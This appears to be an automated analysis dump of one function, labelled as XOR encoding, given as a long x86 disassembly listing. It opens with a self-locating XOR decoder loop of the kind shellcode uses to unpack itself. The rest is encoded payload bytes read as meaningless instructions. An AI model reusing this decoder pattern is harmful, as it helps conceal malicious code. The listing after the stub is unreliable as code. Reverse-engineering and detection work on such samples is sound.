Function at 0xedef28
Capabilities:
Encode data using xor

Disassembly:
jmp 0xedef32
pushal
call 0xedef38
pop ebp
sub ebp, 0x10
sub ebp, 0xadef28
jmp 0xedef4e
mov eax, 0xadef28
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a7
lodsd eax, dword [esi]
add byte [ebx], al
lds eax, [ecx + 0x4cc0]
add byte [ecx + 0x5a7], bh
mov edx, 0x8df8487a
xor byte [eax], dl
inc eax
dec ecx
jne 0xedef65
jmp 0xedef78
int1
mov bh, 0xf1
inc esi
inc esi
jp 0xedeff9
jp 0xedef7c
mov ebx, 0x7a7a7a82
jns 0xedef3f
ret 0x7a7c
jle 0xedf004
adc ah, dh
jg 0xedf005
jp 0xedefbe
invalid
jp 0xedf036
jp 0xedef51
dec edx
jp 0xedf03b
jp 0xedefba
push ds
pop esi
xchg bl, dh
push esi
pop esi
not dword [esi]
pop esi
jp 0xedefbf
push dword [edx + 0x7a]
jp 0xedf04d
int1
out dx, eax
jbe 0xedf051
jp 0xedf053
int1
imul dword [edx + 0x7a]
jp 0xedf059
mov ebx, 0x784b7893
stc
mov eax, 0xff75337e
mov es, word [ebp - 0x47d87a7b]
jbe 0xedf06c
int1
neg byte [esi + 0x7e]
jp 0xedf072
jp 0xedf00c
adc ah, dh
jg 0xedf058
out 0x7f, al
pop ebx
jp 0xedf011
invalid
push esi
pop esi
neg dword [esi]
pop esi
xchg bl, dh
jbe 0xedf06b
pop esi
xchg edx, eax
jg 0xedf08a
jp 0xedf08c
jp 0xedefa6
xchg ebx, eax
inc ebp
js 0xedf090
jp 0xedf047
das
int1
xchg esi, eax
test dword [edi], ecx
jbe 0xedefa3
invalid
jp 0xedf09e
jp 0xedf017
invalid
jb 0xedf0a3
jp 0xedf0a5
jp 0xedf027
sti
mov ebp, dword [edx]
inc ebp
pop sp
sti
mov ebp, dword [edx]
inc ebp
pop sp
pop esp
dec ecx
mov bl, 0x49
dec ecx
test al, 0xf9
stc
xchg edx, eax
jg 0xedf071
jne 0xedf03f
xor al, 0x7a
jp 0xedf0bf
jne 0xedf039
xor bh, byte [edx + 0x7a]
jp 0xedf068
int1
inc bx
cli
adc dword [edx + 0x7a60fe75], 0x81fa7a7a
xchg ebx, eax
xchg edx, eax
jne 0xedf052
invalid
pushal
jp 0xedf0d1
jp 0xedf053
cli
adc dword [ebx + 0x7a6bfe75], 0xfb1c7a7a
jne 0xedf05b
imul edi, dword [edx + 0x7a], 0x7a
sbb al, 0xfb
add dword [ebp + 0x6ffe755f], 0x3b7a7a7a
outsd dx, dword [esi]
jp 0xedf0e5
jp 0xedf0a8
cmp edx, dword [ebx - 0x7a7a7a4a]
xchg ebx, eax
mov dh, 0x85
test dword [ebp + 0x7b433653], eax
stc
test dword [ebx + 0x36], edx
inc ebx
push ebx
inc ebx
jnp 0xedf070
mov ebx, 0x7e92f97f
xchg ebx, eax
mov dword [ebp + 0x2e538585], 0xbbf97843
jl 0xedf082
test dword [ebp + 0x78432e53], eax
inc ebx
js 0xedf07f
stc
mov ebx, 0x7e90f97c
stc
nop
jle 0xedf085
xchg edx, eax
jg 0xedf022
rol dword [ebp - 0x47d87a7b], 1
jbe 0xedf111
test dword [ebp + 0x76b82785], eax
jp 0xedf0c7
das
int1
xchg esi, eax
sub al, 0x2d
das
int1
pcmpeqd mm6, mm1
pop es
jb 0xedf02a
xchg al, cl
enter 0xfffffffffffff0fa, 0x7c
cli
invalid
sti
mov esp, 0x7a7a7a7b
jp 0xedf128
bnd jge 0xedf0ac
mov ebp, 0x7a7a7a7b
sar dword [eax + 0x7a], 0x7a
jp 0xedf134
test al, 0x75
invalid
jg 0xedf13b
jp 0xedf13d
invalid
test al, 0x75
stc
mov byte [0x78858585], al
test al, 0x75
invalid
test al, 0x75
stc
adc byte [edx + 0x7a], bh
jp 0xedf12b
mov edx, 0xff75a878
jne 0xedf0e6
invalid
jg 0xedf163
jp 0xedf165
invalid
test al, 0x69
mov edx, 0xff75a878
jg 0xedf194
jp 0xedf196
invalid
jp 0xedf1a4
jp 0xedf11c
invalid
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x69
push 0x75ba69a8
invalid
mov edx, 0x7a7cfe75
jl 0xedf1b0
jp 0xedf1b2
int1
movsd dword es:[edi], dword [esi]
push ecx
mov byte [0x7df279f0], al
cmp eax, 0x7a7a78c1
jns 0xedf131
jge 0xedf17e
sar dword [eax + 0x7a], 0x7a
jp 0xedf1bf
jp 0xedf0da
or al, byte [ebp + 0x7bc28585]
jp 0xedf1c9
jp 0xedf1c9
test al, 0x75
invalid
jg 0xedf1df
jp 0xedf1e1
invalid
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x3e46ae7b], eax
jnp 0xedf1f1
jp 0xedf1f3
jne 0xedf17a
dec dword [esi + 0x7a]
jp 0xedf1f9
dec esi
jp 0xedf1f8
jp 0xedf143
ret
jnp 0xedf1fc
jp 0xedf1fe
js 0xedf12e
jne 0xedf187
invalid
jg 0xedf204
jp 0xedf206
invalid
test al, 0x75
invalid
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x720ed37b], eax
push ecx
test dword [ebp + 0x518df12c], eax
lea edx, [ecx - 0x71]
mov esi, ebx
and al, 0x93
jb 0xedf136
invalid
test dword [ebp - 0x6544cd7b], eax
jb 0xedf1a8
test dword [ebp + 0x729abb32], eax
invalid
test dword [edx], esi
mov ebx, 0x7cf0729a
cmp al, 0xf1
jl 0xedf1f6
int1
xchg edx, eax
ret
jp 0xedf23b
js 0xedf16b
jne 0xedf1c4
invalid
jg 0xedf241
jp 0xedf243
invalid
jp 0xedf1c9
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp + 0x7a82fb85], eax
pop es
test dword [ebp + 0x77a82fb], eax
jp 0xedf263
sti
mov dword [0x85858585], eax
sti
cmp byte [edx + 0x7f], 0x7a
jp 0xedf1f1
jp 0xedf272
jp 0xedf26f
sti
mov dword [0x85858585], eax
sti
test dword [ebp - 0x57d047b], eax
test dword [ebp + 0x7afa82fb], eax
cmp dl, 0x7a
cli
jp 0xedf27a
jp 0xedf27b
jp 0xedf1fd
sti
stosd dword es:[edi], eax
jp 0xedf27f
jp 0xedf280
jp 0xedf281
jp 0xedf203
sti
cmp dl, 0x7a
jp 0xedf287
sti
stosd dword es:[edi], eax
jp 0xedf28b
jp 0xedf28d
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0x93
loope 0xedf1a2
test dword [ebp + 0x493c7cf0], eax
mov bl, 0xba
xchg edx, eax
jnp 0xedf29e
invalid
int1
xchg edx, eax
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0xc1
jnp 0xedf2bb
sar dword [ebx + 0x7a], 0x7a
jp 0xedf1d7
jp 0xedf2bd
xchg ebx, eax
or dword [ebp + eax*4 + 0x7512785], eax
test dword [edi], esp
push ecx
pop es
jb 0xedf23e
mov ebp, 0x9ff12425
daa
mov eax, 0x24257a72
xchg ebx, eax
jle 0xedf2d5
jp 0xedf2d7
movntps xmmword [ebp - 0x36], xmm2
ret 0x9552
xchg ebp, eax
xlatb
jp 0xedf2e0
mov edi, 0x7925bafb
jp 0xedf2e8
ret
out dx, al
js 0xedf2ec
jp 0xedf234
int1
xchg edx, eax
xchg ebp, eax
push es
dec edx
push 0x3a
cmp dh, byte [ebx]
jne 0xedf27d
xor esi, dword [ebp - 1]
dec dword [ebp + eax*4 + 0x7e938585]
mov word [ebp + 0x7e938585], es
test dword [ebp + 0x7a7e9385], eax
jp 0xedf301
test dword [ebp + 0x7a7a7e93], eax
test dword [ebx + 0x7a7a7a7e], edx
jp 0xedf300
jp 0xedf247
mov edi, 0x76e36c9e
sahf
insb byte es:[edi], dx
jecxz 0xedf302
jbe 0xedf29c
invalid
jp 0xedf21e
int 0x7a
dec ebp
invalid
mov bh, 0xcd
jp 0xedf315
rol ebp, 0xf1
int1
int1
fisubr dword [ecx]
jbe 0xedf2b4
jp 0xedf236
int1
jbe 0xedf2b9
jp 0xedf26e
cmc
jo 0xedf2be
int1
int1
int1
int1
invalid
mov bh, 0xf1
int1
int1
daa
daa
jo 0xedf2f7
stc
int1
int1
int1
jo 0xedf2df
stc
int1
int1
int1
jo 0xedf2d5
int1
int1
int1
int1
invalid
push cs
push cs
push cs
xchg edi, eax
jp 0xedf2d0
xor byte [ecx], bl
std
jb 0xedf2f0
invalid
jo 0xedf2eb
int1
int1
int1
invalid
cld
int1
int1
int1
xchg edi, eax
jp 0xedf2e5
jo 0xedf302
adc dword [esi], ecx
push cs
invalid
invalid
push cs
push cs
push cs
sbb ch, dh
int1
int1
int1
xchg ebx, eax
je 0xedf2d4
int3
sti
cmc
int1
int1
dec eax
sbb al, dh
int1
int1
dec ebx
inc ecx
test dword [edx - 0x474e1e3f], eax
invalid